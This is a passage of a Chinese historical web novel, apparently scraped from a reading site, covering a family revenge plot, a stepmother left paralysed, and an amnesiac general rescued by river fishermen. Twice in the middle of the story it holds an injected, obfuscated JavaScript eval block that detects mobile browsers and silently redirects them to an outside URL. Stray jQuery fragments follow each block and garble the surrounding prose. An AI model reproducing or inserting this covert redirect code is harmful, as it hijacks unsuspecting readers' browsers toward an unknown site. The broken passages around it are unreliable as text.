殷夫人穿着孔雀翎斗篷,手里攥着鎏金暖炉立在回廊下。庭院里几株老梅病恹恹地垂着枝,去年此时还缀满红绸彩条的廊柱,如今只余风卷残叶的呜咽。 还不到半年光景,家道江河日下。先是府中断了几处税赋进项,银钱周转日渐艰难。继而倭寇作乱的消息野火般蔓延,搅得人心惶惶。再后来府衙震怒,一纸“禁倭令”颁下,然则此举竟激怒倭人,矛头直指殷家家主,殷潜性命危在旦夕。 一系列突如其来的变故,令殷夫人如坐针毡,携领全家老小前往灵隐寺祈福。岂料祸不单行,小妹苏夫人竟在清净佛堂起了歹心,结果搬起石头砸了自己的脚。 殷夫人一生要强,治家有方,膝下四位嫡出子女皆是人中龙凤,就连庶出孩子也个个踏实本分,乃江南官宦世家杰出人母代表。而今,她的大半生功绩,一夜之间化为乌有,宛如大梦初醒,徒留满腹辛酸。 “夫人,西跨院又闹起来了。”管事嬷嬷提着裙裾碎步趋来,“苏少爷嫌弃王嬷嬷老脸皮,伺候起居不够贴心,吵着要换年轻貌美丫鬟不可。王嬷嬷同苏少爷争辩两句,结果被苏少爷一脚踢坏了肚子,疼得满地打滚。” 殷夫人一边听着,指尖掐进暖炉的芙蓉纹,凹凸纹路磨得指腹微疼,她蹙了蹙眉心,吩咐道:“随他叫去,增添二三年老嬷嬷打下手,倘若那孽子再敢胡闹,也不必知会我,你们几个合力将他轰出门外。” 管家嬷嬷领命退下。 一阵寒风吹过,檐角悬挂的铜铃狂响,惊飞枯树上的寒鸦。殷夫人望着黑羽掠过东厢暖阁的窗棂,竟连应景的窗花都没贴——今年殷府以家主身体不适为由,一律谢绝来客登门拜访,连府内的下人也开始倦怠偷懒了。 殷夫人叹了口气,抬脚步入暖阁。 西跨院飘着刺鼻的尿骚味,混着艾草燃烧的苦香。苏夫人僵直的躯体裹在被褥里,嘴角淌落的涎水,浸湿了枕巾绣着的并蒂莲。 苏尽欢捏着鼻子,一路后退到紫檀屏风外,满脸嫌恶道:“伺候更衣这种腌臜事,还要本少爷沾手?你们干什么吃的!” “少爷,夫人又失禁了,您快看看,颜色不对劲。”小丫鬟战战兢兢捧着铜盆,盆中秽物满满,飘着可疑的绿。 “滚!少跟我说。”少年抬脚踹翻铜盆,褐黄污物泼溅一地,恰如中秋宴席打翻的蟹黄羹。 少年来到榻前,绝望地盯着母亲抽搐的嘴角,忽觉昨日佛堂磁石上吸附的银针,根根扎进自己的额首。分明是苏绾给他施下的紧箍咒,要他一辈子被瘫痪的母亲牢牢牵住,从此与青楼无缘,与人间欢乐作别。 去岁年节,一家四口围炉守岁,好不温馨自在,怎得今年如此大不同?他做错了什么,要遭这份鸟罪。 苏尽欢抬起手掌,狠狠扇了自己一巴掌,哭道:“早知如此,何必当初。我这是造的什么孽嘛。” 苏夫人眼球暴突,喉间发出的“嗬嗬”声,好似破旧风箱唱响。她想尽一切办法,努力吸引苏尽欢的注意,她要让儿子杀掉苏绾那娼妇,好为自己报仇雪恨。可几个时辰挣扎下来,也只是动动眼,发发声而已。 东厢暖阁里,秦欢将三寸银针清理干净,仔细收入鹿皮囊,“苏夫人这病,乃是气血逆乱,风痰阻络,怒极伤肝,导致经络闭塞,脑窍瘀阻,神机受损。” 殷夫人面色发白,“可有良方医治?” 秦欢摇摇头,“中风一症,最忌暴怒。她情志郁结,肝火未平,纵有良方,也难尽施。且这等病,三分在治,七分在养。针灸药汤,不过是尽人事罢了。” 殷夫人手中佛珠“咔嚓”断线,珊瑚珠滚过青砖地面。 “欢儿怎得昨日彻夜未归?”她弯腰拾珠的手停在半空,“若是你也在场,兴许小妹不必承受这番折磨。” 秦欢不动声色地点数鹿皮囊包裹银针,那里本该放有一百零八,独独缺失了六根。 “昨日收到家父来信,言及近日济南府感染风寒人数众多,导致川贝母与雪蛤膏短缺。我托了镖局,加急运送一批采买的药材回去。” 殷夫人指尖点数掌心里断线佛珠,“需要什么药材?我尽力帮忙,再不济,我徽州薛家也能派上用场。” “姨母不必担心。”秦欢截住话头,将鹿皮囊收进药箱,“全部都办妥了。” 殷夫人微微点头,“欢儿,你姨父与苏姑母的安危,姨母就托付给你了,务必好生照看他们,权当你对姨母尽孝了。”言毕,殷夫人告辞,转身离去。 萧染自回廊深处款款走来,与殷夫人擦肩而过。 殷夫人停步,“萧公子,欢儿寄送药材之事,麻烦你了。” 萧染一愣,很快从容拜道:“伯母客气,萧染随时待命。” 拜别殷夫人,萧染趸步进入东厢暖阁,细长眼眸卷了卷,调侃道:“听说你昨日买药去了,怎么?你未卜先知,提前料到苏夫人会中风?” 萧染挤了挤睛明穴,眼角泛着一丝疲惫,“打发姨母而已,苏夫人自作自受,我才懒得理她。” 他烦得是另一桩事,也是他缺席灵隐寺祈福的真正原因。 昨日一早他收到快报,得知半个月前沈恪带领人马,乘船驶入黄河入海口。对方未有任何大动作,只随船带走了当地一户渔民家人。 事有蹊跷,秦欢当即派人快马加鞭赶往苏州打探消息,自己则策马奔至中途等候,以便第一时间掌握动向。 大约花了一天的时间,探子匆匆赶回,带回的消息证实了此事,并带来了更大的隐情:沈恪已指定这位渔民为上门女婿,婚期定在正月十五。 上一世,福建都指挥使沈恪一生致力于对抗海寇,功绩显著。苏绾将倭寇这只球踢给了他,绝不会是一步死棋,下一步她多半会去恳求沈恪对付倭寇。 因而,沈恪的一举一动,在棋局里,就显得尤为重要。 在这个节骨眼,沈恪选了一位平民女婿,绝非偶然。 他须亲自验证一番。 萧染不以为然,“我知你心里想的是什么,但我觉得是你多心了。” 他倚着窗棂,嘴角撇了撇,“他已经死透了,总不能借尸还魂吧。” 借尸还魂? 后罩房的游廊里,春蝉挨着雕花槅扇门,对无霜忧虑道:“昨儿佛堂那场祸事,真真地可怕,小姐一整日眼里结着冰碴子。” 她呶着小嘴,攥着小拳头,愤愤道:“如果我在场,哼,绝不叫那老太婆靠近小姐半步,一准将她揍得满地找牙。” 无霜低头不语,她心里也揣着一桩事,关于文竹,关于晴雷,关于那封信。她拿不准该如何是好。 菱花窗内突然传来瓷器相碰的脆响,无霜透过窗纱缝隙向内望去,苏绾举着青瓷茶盏,对着虚空邀杯,怪异举止吓坏了无霜,不禁怀疑,小姐受了刺激,又或犯了疯症。 他们两个,到底谁才能救小姐? 无霜咬住下唇。 铅灰色的云层压得很低,苏绾独坐窗前,青瓷盏里的茶汤早已凉透。 第一步:饵 指尖蘸着茶渍,案几上画出一叶扁舟。这是她的第一计——以身为饵。秦欢掌控山东海权,手握十万精兵,偏偏对她情根深种。她只需稍加撩拨,便能借他的刀,引倭寇上钩。茶渍在案几上晕开,化作一片汪洋,扁舟在浪尖起伏,随时会被巨浪吞噬。 第二步:链 指尖轻移,茶渍勾勒出一条锁链。这是她的第二计——以利相诱。通过与海寇交易,威逼利诱殷潜就范,将他锁死在利益共同体之内。殷潜孤立无援,除了支持贵妃,别无选择。茶渍渐渐干涸,锁链的纹路愈发清晰,将整个江南牢牢锁住。 第三步:刀 最后一滴茶渍,画成一把刀。这是她的第三计——以势相攻。沈恪驻守苏州,手握重兵,因着朝廷恩怨,唯恐功高盖主,而不肯出兵剿倭。这一世,她要将沈恪上一世的抗倭计策,原封不动地献给他。茶渍在案几上凝固,形状宛如一把利剑,直指倭寇的心脏。 茶渍已干,棋局过半。饵已下,链已成,只待最后一把刀落下,这盘棋便能尘埃落定。 苏绾给自己重新倒了一盏西湖龙井,茶汤在青瓷盏中泛起涟漪,映出她略显苍白的脸。 “你不敬我一杯么?”她对着空荡荡的座椅轻笑,“庆祝我大仇得报。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016957|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵穿堂风掠过,案头的兵书哗啦啦翻动。恍惚间,她仿佛看见男人坐在对面,玄色战袍上还沾着关外的风沙,腰间悬着的黑金丝绦络子轻轻摇晃着。 “你倒是长进了。”他的声音依旧带着几分冷漠,“这次借的是秦欢的针,用的是人言可畏之计,妙手回春。” 苏绾执盏的手一顿,“你教过的,用兵之道,在于借势。”她望着茶汤中浮沉的茶叶,“苏夫人当年靠诬陷的手段害死了我娘,如今她也败在了舆论之下。你说,这是不是报应?” 窗外传来枯枝断裂的声响,玄色虚影似乎更淡了些,“你把她弄瘫了,口不能言,身不能动,倒是比死更解恨。”他顿了顿,“只是,你又欠了秦欢一份情。” 苏绾忽然将茶盏重重放在案上,茶水溅湿了兵书一角,“你给我的兵书里,可没说情之一字这般难解。”指尖抚过书页批注,墨迹早已泛黄,“秦欢甘愿当我的刀,我有什么错?” 一阵寒风卷着霜气扑进屋内,玄色身影几乎要消散在光里,“你这个傻女人,”他的声音轻得像叹息,“没有谁会一厢情愿地付出,而不索取任何回报。” 停了一下,又低低地笑着,“毕竟,只有本将军才配当你的剑。” 苏绾猛地抬头,面前只剩空荡荡的座椅。案头的兵书被风吹开,恰好停在那页——他的字迹力透纸背:“用兵之道,在于攻心。然攻心者,必先自伤。” 她忽然捂住心口,那里仿佛被什么东西狠狠刺了一下。 窗外,第一片雪花悄然落下。 细碎的雪花落在书房屋檐上,积起一层薄白。殷潜站在窗前,睇着漫天飞舞的雪花。 殷潜皱了皱眉,转身回到案前。小妹中风卧床,府中乱作一团,而他自己也被倭寇一事逼得进退两难。答应苏绾支持贵妃的承诺,像一把刀架在他的脖颈。 他翻开宗谱,目光停在苏绾的名字上。她的身世是他手中唯一的筹码,也是他在这乱局中的倚仗。可苏绾这枚棋子,关系重大,他既不能放弃,也不敢起用。 鹅毛大雪越下越大,院中枯枝被压得低垂。殷潜提笔蘸墨,在宣纸上并排写下“贵妃”与“倭寇”,墨迹未干,又新添“苏绾”二字。 远处传来更鼓声,殷潜放下笔,合上宗谱,将写着字的宣纸揉搓一团,倏地丢进火盆中,窜出一股青灰色火焰。 冬夜沉沉,殷府张灯结彩,廊檐下的红灯笼迎风摇晃,映得银装素裹的院落透出几分暖意。然而主厅酒暖人不热,氛围透着一丝异样的凝滞。 殷潜端坐主位,手中箸筷停在半空,饭菜已然微凉,他却一点胃口都没有。 无霜悄悄走上前,将一张纸卷塞进苏绾的手里。苏绾低头展开阅读,神色逐渐凝重,攥着信纸的指尖微微颤抖。 苏尽欢双颊微醺,杯沿抵在唇畔。每当听见母亲房中传来压抑呜咽,便狠狠灌下一口酒,再将杯子砸向桌案,震得人心头微颤。 秦欢端坐角落,慢条斯理地剥着橘子,他轻推桌上一盘剥好的橘瓣,示意萧染取食,萧染未曾理会。 萧染坐在他对面,单手支着下颌,指腹在案几上勾勒一道道不成形的纹路,若有所思状。 殷夫人面色阴沉地望着满桌菜肴,竟无人赏脸品尝,终是叹了口气,挥手让丫鬟撤下。 三更鼓声响起,炸开了沉默的空气。爆竹噼啪作响,璀璨烟花绽放,照亮了整座天穹。 新年伊始。 府门外传来急促的马蹄声,紧接着,一道尖细而清亮的嗓音划破夜空。 “圣旨到——” 众人皆是一怔,随即纷纷起身。 太监使官身着绣金蟒袍,手持明黄卷轴,在众人面前站定,身后宫灯高举,映得圣旨金纹熠熠生辉。 “奉天承运,皇帝诏曰。” 太监展开圣旨,声音尖细悠长,每个字都像石子坠落深井,激起无数涟漪。 “其一:皇后诞育皇子,普天同庆;其二:温如初功勋卓著,特擢升入阁;其三:召十三省布政使及都督,即刻入京觐见,钦此。” 夜风拂过庭院,吹得烛火轻晃,照得每个人的神色各异,却又出奇一致的震撼。 雪下得更大了,落在檐角,落在阶前,落在大年初一。 105. 阿舟 时枫跟在山羊胡背后,沿着船舷艰难前行。雨势来不已,视线范围受阻,忽然脚下一滑,有什么东西绊住了他,身子一栽歪,整个人失去平衡,猝不及防坠入翻涌的浊浪。 身后传来一声尖叫,可他来不及回应,已然被惊涛骇浪吞没。水面荡开圈圈涟漪,汩汩气泡升腾,他奋力挣扎,双脚蹬开浸水的皂靴,指尖堪堪触到头顶浮光,下一瞬,又被无形的暗流拽向幽深处。 “轰——” 渡船意料之中地爆炸了。 赤色火舌撕裂天幕,炸响声震耳欲聋。巨大冲击波侵袭下,挂着船帆的桅杆被拦腰折断,轰然倒塌,伴随着破裂的船板穿透水幕。 他躲闪不及,后脑被狠狠一拍。一阵剧痛袭来,血雾在眼前弥散。恍惚间,他看见水波浮现出少女明媚的脸颊,眉梢点缀碎星,梨涡盛放狡黠的笑意。 “阿绾……”他下意识呼唤心底那个名字。 张口一瞬间,冰冷河水倒灌入喉,窒息感自胸腔蔓延,意识被囫囵冲散,湮没于碎玉浪沫。 不知过了多久。 一道银光破水而入,锋利的鱼叉稳稳勾住他腰间的革带。巨大的拉力从上方传来,将他猛然拽出水面,重重摔在湿滑的甲板上。 “还活着。” 李老爹蹲在船尾,吐出一口烟圈,拿旱烟杆敲了敲船帮。 少女随手将绑了绳索的鱼叉丢在一旁,探出双手按压他的胸膛,“喂,要死也别死在我船上。”一边说着,白皙手掌熟练地有节奏向下按压,好似厨娘揉搓面粉团。 “丫头,轻些,别给人肋骨折断咯。”李老爹半眯着眼,望着脸色苍白的年轻人,嘴唇恢复了一丝血色。 “咳咳……” 伴随一阵剧烈的咳嗽,时枫的意识从混沌中陡然浮起,耳畔是潺潺的流水,鼻端隐约嗅到湿润的泥土和淡淡的鱼腥。 他遽然睁开眼。 阳光映照少女娇俏容颜,发丝滴着水珠,细汗顺着脸颊滑落,身穿粗布衣裳,浑身上下透着一股顽强的生命力。 他翻了翻眼眸,又晕了过去。 “叫你轻着点下手,他这会子体力跟不上,还不快去煎药。”李老爹吩咐道。 一尾赤鳞鲤鱼在甲板上翻腾,尾鳍啪啪拍打木板。少女啐了一口,“晦气,本来钓上了两尾鱼,还能卖两个铜板,这会子跑了一个。”说罢,她动作伶俐地一脚将剩下的一尾鱼踢回河里,自己去一旁煎药了。 又过了一段时间。 时枫躺在船板上,整个人像被泡透了,喉咙塞满泥沙的腥味,就连呼吸也带着沉重的湿气。 “醒了就喝药。”少女端着一碗药汤,带着几分不耐烦,“可别糟蹋了我的车前草。” 苦涩的药汁顺着喉咙滑入,胃里翻江倒海,他强忍着才没有吐出来。 见时枫呛得皱眉,少女噗嗤笑出声,顺手把晾在桅杆上的咸鱼扯下半条,“嫌苦?拿这个压压。” 时枫感到有些茫然,他在思考咸鱼的味道,大概比这药汤好不到哪去。 “杀猪的,还是宰人的?”少女盘腿坐在舱板上,指尖虚虚划过他的胸前。夕阳的余晖在她发梢镀了层金边,“老张头剖十年鱼,都划不出这么漂亮的弧。” 时枫低头,目光落在自己胸口处,那里有一道旧痕,剖心刮骨般格外深刻。 脑海中闪过模糊的画面——烈马嘶鸣,战鼓擂响,铁甲交击。他站在战场之上,玄色战甲泛着寒光,耳畔有人高喊“将军”,身前有人跪地递上虎符。 忽然少女拍了下他肩膀,将他从回忆中抽离出来,“别是镖局逃出来的吧?” 他抬起眼,嗓音低哑,带着几分迷茫与痛苦:“我不知道我是谁,我不记得了。” “你不知道自己是谁啊,那我找谁平账去?天下没有免费的药汤。”少女歪着头打量他。 她从舱底翻出个陶罐,哗啦啦摇动半罐铜钱,“要不这样,你每日替我修三张网,工钱抵药钱。”指尖在罐口敲出轻快的节奏,“名字嘛……就叫阿舟,横竖是从河里捞上来的。” 阿舟?时枫咬了咬嘴唇。 少女甩了件粗布衫盖在阿舟脸上,“破是破了点,总比你那身血衣强。” 阿舟默默地拾起布衣,勉强套在身上。衣服是李阿爹的,不可避免地短小,袖口将将才到手肘。 暮色渐浓,少女眸子里跳动着河面的碎金,“先说好,敢偷懒就把你押给鱼市刘婶,她正缺个扛货的傻大个。” “科科——” 船尾传来两声烟锅敲船板的响动,李老爹佝偻着背踱过来,烟杆头精准戳了一下少女后腰,“阿喜,忒聒噪。” 阿喜像被掐住后颈的猫,梗着脖子嚷嚷:“阿爹,您别捣乱呀,我谈正事呢。”说着,手指悄悄把陶罐往阴影里推了推。 老人咂了咂牙,混着烟味的唾沫星子溅到阿舟的手背,“他一个才从阎王殿逃回来的人,哪里有力气给你干活,真是胡来。” 阿喜翻了个白眼,扯过渔网开始穿梭子,“您没见这网眼破得都能漏月亮了?”细麻绳在她指间翻飞如银鱼,“再说了,颜家渡欠咱们的债务,可是一个子儿都没要回来。” “颜家渡”三个字眼,在阿舟心里激起一片涟漪,他努力回忆,却怎么都想不起来。 李老爹蹲下身,烟袋锅磕出三点灰印,“河瘴入骨的人,最忌见月光。”枯瘦指节一指,“丫头,去把芦席挂起来,遮挡住月亮影。” “又搞这些神神叨叨的!”阿喜嘴上抱怨,利落地甩开渔网,赤脚踩得船板咚咚响,“不补了不补了,睡觉去,明日还要起早。” 舱门被她摔得震天响,惊得夜鸮扑棱棱飞起,下一刻,芦席还是乖乖高挂起来,遮住船舱半边天空。 李老爹掏出怀里一个油纸包,打开是半块芝麻饼,边缘还留着细小的牙印。 “她藏了三天的。”老人边说边掰去牙印部分,远处传来阿喜气急败坏的尖吼:“阿爹,我晒的虾干是不是叫你偷吃了!” 河风卷着烟火气漫过船舷,李老爹望着破碎的月亮倒影,慢悠悠往烟锅里塞烟丝,哼起荒腔走板的渔歌。 混着水汽的夜雾漫上来,濡湿了阿舟的眼角——那半块芝麻饼的裂缝里,还夹着片晒干的橘皮,嚼着嘴里又甜又酸。 十五岁的阿喜,像一株生在船板上的芦苇,发梢总沾着盐粒。李老爹常说,这丫头是喝海水长大的——三岁识潮汛,七岁敢驾舢板追鱼群,如今摇橹的力道比壮年渔汉还足三分。 这日,父女二人驾着小船沿黄河一路来到济南府泺口渡,原是为了找颜家渡的山羊胡讨个公道。三个月前,山羊胡卖给李老爹一批渔具,吹嘘是上等货色,结果一下水便破得不成样子,根本无法使用。李老爹攥着那张皱巴巴的字据,一心要找他退货讨债。 谁知到了地方,发现黄河渡口被官府封锁,不准外来船只靠近。李老爹只得远远停船,独自上岸打听消息。回来时,他脸色阴沉得像锅底,“奸商的铺子被官家征用了,这几天不开门。” 阿喜正欲破口大骂,忽然远处传来一声巨响。抬眼望去,只见渡口火光冲天,一艘渡船在爆炸中变得四分五裂,碎片四散飞溅。 李老爹脸色骤变,立刻掉转船头,喊道:“情况不妙,咱们快走!” 二人疾速行船,一口气走了十几里水路,停下来靠岸补给。谁料阿喜眼尖,竟在波涛翻滚的河面上瞥见一个人影沉浮。她不顾阿爹阻拦,操起撑篙奋力划去,借着鱼叉将那人从水中拖上船。 那人便是阿舟。 他换下的血衣做工极为考究,袖口束腕嵌着指甲盖大小的绿松石,衣料是轻薄柔软的杭绸,哪怕湿透,也丝毫不显沉滞。这等衣饰,普通百姓人家绝无可能穿得起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026903|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李老爹趁着阿舟昏迷,翻遍他全身,竟在内襟贴身的暗袋里摸出一张牛皮纸包。打开来看,里头的字迹密密麻麻,净是些看不懂的机密公文,落款处盖着的朱红官印上,“阁部”二字触目惊心。 李老爹心头一凛,赶忙将东西原样塞回阿舟怀中,不敢再多看一眼。 他借着采买干粮的机会,悄悄返回泺口渡。泺口渡向来是南北商贾往来之地,街上气氛透着几分异样,巡逻的差役多了,码头戒备森严,过往客商皆低着头匆匆行路,生怕惹祸上身。 他寻了处茶摊落座,装作随口闲聊,试探着问了两句,摊主压低嗓音道:“炸毁的,可不是寻常的渡船。”他伸手拂了拂桌上散落的茶渣,“是颜家渡的船,押送的是京里来的大人物。” 李老爹心中一紧,顺势抿了口茶,掩盖脸上的异样:“何人?” “听说是个将军。”茶摊老板顿了顿,“谋反的罪名。” 凭借多年跑江湖的经验,他已然看得分明。阿舟并非池中之物,此番必是被人算计,落得官家追捕的下场。 事到如今,他已不敢再轻易靠岸,只顾驾着小船顺着黄河水势向东急行。至于颜家渡山羊胡那点欠债,早已被他抛诸脑后——这水,太深,断不能再蹚半步。 时光如梭。 阿舟起初只能拖着伤腿劈柴,手掌磨出的血泡层层叠叠,火辣辣地疼。他正蹲在船尾扎柴,李老爹忽然甩过来一柄豁口的鱼刀,“撬河蚌壳,晌午晒干货用。” 刀柄砸在阿舟手边,沉甸甸的。他愣了愣,缓缓伸手握住,指腹摩挲过冰凉的锈痕,一股陌生却又熟悉的感觉涌上心头。 刀虽旧,锋刃尚利。他下意识翻转刀锋,指尖轻弹,寒光一闪,几下便将蚌壳撬开,壳肉分离,汁水顺着指节淌下,浸进掌心的伤口,刺得他一颤。 “好刀法。”阿喜挑眉,双手抱胸,啧啧感叹,“老张头可比不过你半分。” 阿舟微微蹙眉,似是想问她口中的“老张头”到底是谁,怎么时常挂在她嘴边。 阿喜一把拉过竹篓,把撬出的蚌肉一锅倒进去,嘟囔道:“可惜了,撬河蚌哪能赚银子?你要是去码头卖艺,一准儿挣个盆满钵满。” 李老爹拧着渔网的手顿了顿,默默整理渔具。阿舟的东西,包括牛皮纸包,以及衣服,束腕,墨金络子等物,全都被他以代为保管之由,锁进了箱子里。 就让他,继续做阿舟罢。 暮色漫上船篷,江风裹挟着火塘里的鱼汤香气,氤氲升腾。 阿喜两指捏着烤焦的鱼尾,叼在嘴边嚼了两下,含糊道:“我今儿见着江豚追船哩,脊背油亮得像抹了猪油膏。” 李老爹剔出鱼刺,把半条鲻鱼拨进阿舟碗里,语气淡淡:“瘦得跟银鱼干似的,多吃点。” 阿舟怔了一瞬,低头看了眼手臂——筋肉分明,谈不上瘦。 阿喜瞥了他一眼,有些吃味地哼道:“吃吧吃吧,省得哪天被风刮走了,赔都没处赔。” 阿舟默默夹起鱼肉蘸了蘸盐,送入口中。咸鲜的滋味顺着喉咙滑下,胸口莫名升起一丝暖意。 船儿一路向东,行了一个月左右,到达黄河入海口。 过最后一道急滩时,阿喜忽然扯开嗓子唱起渔歌,嗓音虽破,响亮得很,惊起芦苇丛里栖息的鹬鸟。 阿舟撑着橹,微微偏头看她,阿喜察觉他的目光,脸一红,立刻凶巴巴道:“看什么?没见过唱歌的?” 阿舟收回目光,他隐约记得,自己也曾听人唱过小曲,可他记不清曲调,也不晓得听谁唱的。 李老爹抬手一指:“瞧见白鹭落脚的地方没?那里就是家。” 船头轻轻吻上沙滩,惊起一群正啄食的小鹭。阿舟下意识地攥紧缆绳——掌心的茧痕叠着旧伤新痂,粗砺滚烫,比模糊的记忆更真实。 他的家,在何方? 106. 终得 自时枫渡船遇险后,已过去数月。晴雷与文竹沿着黄河,昼夜不停地搜寻打听,线索断断续续,天灾人祸当道,始终找不到确切踪迹。 黄河绵延数千里,沿岸村落星罗密布,想要在这广袤无垠天地寻找落水之人,无异于大海捞针。然晴雷意念十分坚定,文竹虽心存犹疑,也未有半分退缩。 这一日,暮色渐浓,黄河水泛着铁锈色,浪头一波又一波撞击峭壁,溅起丈高水花。 文竹攥紧缰绳,看前方少年侍卫策马踏过碎石滩,玄色披风掠过处,惊起数只渡鸦。 “咱们在此歇脚吧。”晴雷勒住踏月。 他翻身下马,露出腰间蟠螭纹雁翎刀,寒光照铁衣,惊得文竹身下老马不安地后退两步。 文竹无声地下了马。 “喝水么?”镶银水囊递到文竹眼前。 十六岁少年生得肩宽腿长,曳撒服裹着挺拔肌骨,像株迎风生长的白杨。 与自己瘦长的身形,一点都不一样。 文竹喉头泛起酸涩:“小人……用竹筒便好。” 话音未落,细长手腕已被少年攥住,不由分说将水囊塞进他手里,“说了多少次,你不必与我客气。” 他的掌心滚烫,带着常年握刀的薄茧。 文竹垂眸掩去苦笑。 十九年苦难人生,他这个卑贱杂役,生平第一遭与锦衣卫对等平齐。 歇过脚后,很快前行至一处峡谷。放眼望去,百丈悬崖劈开狭窄河道,浊浪在嶙峋怪石间炸成雪沫,宛如一条咆哮的巨龙盘亘。 他们终于来到鬼门滩。 文竹仰望着岩壁猩红的“鬼门滩”刻字,显得有些局促,“相传凡是落水之人,若被冲入此滩,十不存一。” “将军……” 晴雷没让他把话说完。他收紧缰绳,目光如刀:“无论如何,我们都得查个清楚。” 二人下马,沿着陡峭的小径往下游探查。晴雷走在前面,不时回头望向文竹,生怕他跟不上。 文竹素来不愿成为他的累赘,见他频频回头,安慰道:“大人莫要担心,我从小跑腿儿惯了,脚程也比别人快些。一点点坎坷,不算什么。” 晴雷笑了笑,不以为意。 突然,鬼门滩风云变幻,一声闷雷滚过,狂风卷起黄沙,天地骤然变色。 “暴雨来了。”晴雷脸色微变,握住文竹的手腕,将他往自己身边带了一步,“跟紧我。” 雨点如豆,顷刻砸落,脚下岌岌山路迅速变得湿滑。山体轰然松动,巨石自上而下滚落,砸向二人。 “快躲开!”文竹低呼,谁知自己脚下一滑,竟直直朝悬崖边跌落下去。 刹那间,文竹腰间兀自缠上精铁般的手臂,皂角香混着血腥气扑面而来,雁翎刀深深劈入岩缝,铮鸣作响,震得耳膜生疼。 “抱紧我!”晴雷的低喝声混在风雨里。 文竹被迫将脸埋进少年胸口,隔着曳撒服心跳如擂鼓,震得他浑身发颤。 乱石裹着断木,纷纷从身侧滚落,少年竟单手将他锢在崖壁间,臂膀绷出凌厉线条。 待山崩声渐歇,晴雷搂着文竹,飞身纵跃上山路平坦处。 文竹这才惊觉,暗红在少年肩膀衣襟洇开,他结结巴巴道:“大、大人,你受、受伤了。” 滚石砸中了晴雷的肩膀,锋利的石刃割破了皮肉。 “小伤无妨。”晴雷随手抹去血迹,瞄了一眼文竹,关切道:“你呢?可伤着哪儿了?” 文竹喘着气,手掌擦破了皮,额角染着泥水,脸颊没来由地涨红,“大人又、又救了我一命。” 直到雨势稍歇,他们才找到一处避雨的山洞。晴雷生起篝火,脱下湿透的外袍披风烘烤。 文竹盯着篝火出神,热气升腾,玄色披风拂动,飘着淡淡血腥味。 “吃么?”烤热的炊饼突然递到眼前。 文竹接过炊饼小口咬着,眼角扫过晴雷,见他赤着上身处理伤口,水珠顺着肌理的沟壑滚落,淌过道道狰狞的伤疤。 文竹垂眼不敢再看,忍不住又偷瞄了几眼。 “看够了?” 带笑的嗓音惊得他呛住一口饼渣,急忙四处找水喝。咕噜咕噜,水囊瘪了大半,总算缓解了尴尬。 文竹默默放下水壶,“大人,你经受过不少苦痛吧?” 晴雷随意披上中衣,白色衣襟随着动作晃过锁骨,“这是锦衣卫的职责,也是我生来的宿命。” “大人也信命吗?”文竹攥紧粗布衣摆。 晴雷系上衣襟,漫不经心地扣着盘扣,“怎么突然问起这个?” 文竹捏紧掌心,半晌才低声道:“只是觉得,大人身处这等险境,却从不畏惧,也不曾犹疑。” 晴雷顿了顿,“人活于世,命数既定,但我从不信天定的命。我信刀,也信人心。人若弱,命便是枷锁;人若强,命便是利刃。” 他侧身看向文竹,眸色沉静:“你信命么?” 文竹怔住,指尖下意识蜷紧。自幼被迫阉割,失去凡人该有的所有可能性,自卑、隐忍,连活着都像是一种偷来的恩赐。 命运,从来都是高悬在他头顶的铡刀,不知什么时候就会落下。 “文竹。”晴雷遽然打断他的沉默。 “你既能随我走到这一步,便该明白,人不该被命运禁锢。你是你自己,不是某个人的影子,不是身份的束缚,更不是命运的弃子。” 文竹瞳孔微缩,猛地抬头。 篝火映着少年的眉目,坦荡而锋锐。他像是横亘天地的一把刀,斩强敌,逆风雪,从不被命运束缚。 “活着,不是苟且,也不是认命。”晴雷凝视着他,语气笃定,“你不欠谁的,也不该被过去困住。” 文竹怔怔地看着他,离开京城的马车上,小姐也说过同样的话语。 在那以前,从未有人告诉他,他可以不活成某种模样,也可以不将自己困在既定的阴影里。他以为自己的一生不过如此,无论走到哪,都是寄人篱下。 可此刻,小姐与晴雷的话,如刀般化解了他心底的樊笼,让他看见外面广阔的天地。 篝火轻燃,夜风吹起少年未系紧的衣襟,银链在光下晃动,冷冽而凌然。 “大人……”他嗓音微哑,半晌才低低道,“为什么对我说这些?” 晴雷嘴角扬起:“因为你值得。” 文竹的心倏然揪紧,像是被风吹动的湖面。他垂下眼,手指紧紧拽住衣角,久久无法言语。 雨过天晴,二人重新整顿行装,再次踏上寻人的征途。可几个月下来,只几名老渔夫提及,偶尔确曾有尸体顺流而下,至于是谁、流向何方,无从得知。 盘缠渐渐见底,他们不得不在沿途打零工换取路费。晴雷力气大,码头扛了几日麻袋,衣衫被汗水浸透,肩上磨出道道红痕;文竹手巧,替人跑腿、缝补,偶尔帮店铺抄录账簿,勉强赚些银两。 这一路,风餐露宿,疲惫不堪,但二人皆默契地未曾提及放弃。 黄昏时分,霞光漫天,文竹坐在河岸,望着滚滚黄河,神色恍惚。 “我们还要找多久?”他低声问,声音被河风吹散了些许。 晴雷目光落在远方的江天交界处,“再往东走一程,若还无消息,再作打算。” 文竹侧头看他,见少年面容疲惫,仍咬牙坚持,心底一阵酸涩,轻声道:“若找不到,你打算怎么办?” 晴雷看着那染上暮色的黄河,手指不自觉收紧了刀柄,嗓音坚定:“找不到,就继续找。将军待我如手足,我绝不放弃。” 